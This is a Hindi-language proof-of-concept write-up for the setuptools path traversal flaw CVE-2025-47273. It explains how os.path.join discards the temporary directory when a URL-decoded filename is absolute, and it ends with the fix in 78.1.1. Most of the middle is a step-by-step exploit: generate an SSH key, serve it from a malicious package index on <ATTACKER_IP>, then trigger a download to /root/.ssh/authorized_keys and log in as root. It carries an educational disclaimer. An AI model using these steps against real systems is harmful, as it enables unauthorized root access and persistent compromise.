
CVE-2025-47273 setuptools लाइब्रेरी, विशेष रूप से संस्करण 78.1.0 में एक उच्च-गंभीरता पथ ट्रैवर्सल भेद्यता है।
यह प्रूफ ऑफ कॉन्सेप्ट (PoC) केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा ऑडिट के लिए है। लेखक इस जानकारी के दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। कंप्यूटर सिस्टम में अनधिकृत पहुंच अवैध और अनैतिक है।
CVE-2025-47273 एक पथ ट्रैवर्सल भेद्यता है जो setuptools लाइब्रेरी (v78.1.0 और इससे पहले) के package_index मॉड्यूल में पाई गई है। यह भेद्यता हमलावर को PackageIndex.download() विधि में विशेष रूप से तैयार किया गया URL प्रदान करके एक मनमाना फ़ाइल लिखने की अनुमति देती है।
यह दोष Python के os.path.join() फ़ंक्शन में एक सामान्य ख़तरे से उत्पन्न होता है। Python दस्तावेज़ के अनुसार:
यदि कोई घटक एक निरपेक्ष पथ है, तो सभी पिछले घटकों को हटा दिया जाता है और जोड़ निरपेक्ष पथ घटक से जारी रहता है।
setuptools के संवेदनशील संस्करण में, गंतव्य फ़ाइल नाम URL से एक नाम निकालकर और उसे एक अस्थायी निर्देशिका से जोड़कर निर्धारित किया जाता है:
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
यदि हमलावर कोई URL प्रदान करता है जहाँ फ़ाइल नाम भाग (URL डिकोडिंग के बाद) फॉरवर्ड स्लैश / से शुरू होता है, तो os.path.join tmpdir उपसर्ग को हटा देता है और URL में दिए गए निरपेक्ष पथ को लौटा देता है।
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. URL Decoding
v
[ Decoded Filename (name) ]
"/etc/passwd"
|
| 2. Vulnerable Function Call
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Python os.path.join Logic
v
[ Resulting Path (filename) ]
"/etc/passwd" <-- /tmp/download_dir is discarded!
चूंकि गंतव्य पथ को एक निरपेक्ष पथ में हेरफेर किया जा सकता है, हमलावर फाइलसिस्टम पर किसी भी स्थान पर मनमाना सामग्री लिख सकता है जहाँ प्रक्रिया में लिखने की अनुमति है।
setuptools का उपयोग करने वाली प्रक्रिया उच्च विशेषाधिकारों (जैसे, सिस्टम-व्यापी इंस्टॉलर) के साथ चलती है, तो हमलावर महत्वपूर्ण सिस्टम फ़ाइलों जैसे /etc/passwd, /root/.ssh/authorized_keys, या /etc/shadow और कई अन्य संभावनाओं को अधिलेखित कर सकता है...~/.bashrc, ~/.ssh/authorized_keys को अधिलेखित करना, या मौजूदा Python लाइब्रेरी में कोड इंजेक्ट करना स्थायी रिमोट कोड निष्पादन का कारण बन सकता है।/root/.ssh/authorized_keys को अधिलेखित करना)यह भेद्यता setuptools संस्करण 78.1.0 में मौजूद है।
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
server.py स्क्रिप्ट एक दुर्भावनापूर्ण पैकेज इंडेक्स के रूप में कार्य करती है। यह अनुरोधित पथ की परवाह किए बिना एक पेलोड फ़ाइल परोसती है, और हम जो फ़ाइल परोस रहे हैं वह id_rsa.pub है।
python3 server.py 80
इस कमांड का उपयोग करके फ़ाइल लिखने को ट्रिगर करें और फिर आप अपनी पहले से बनाई गई ssh कुंजी जोड़ी से root में ssh कर सकते हैं।
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<target-ip>
यह भेद्यता setuptools संस्करण 78.1.1 में संबोधित की गई थी। फिक्स में URL से प्राप्त name चर को कड़ाई से स्वच्छ करना शामिल है ताकि यह सुनिश्चित किया जा सके कि इसमें os.path.join() को पास करने से पहले अग्रणी स्लैश या ड्राइव अक्षर न हों।
अपने वातावरण को सुरक्षित करने के लिए:
pip install --upgrade setuptools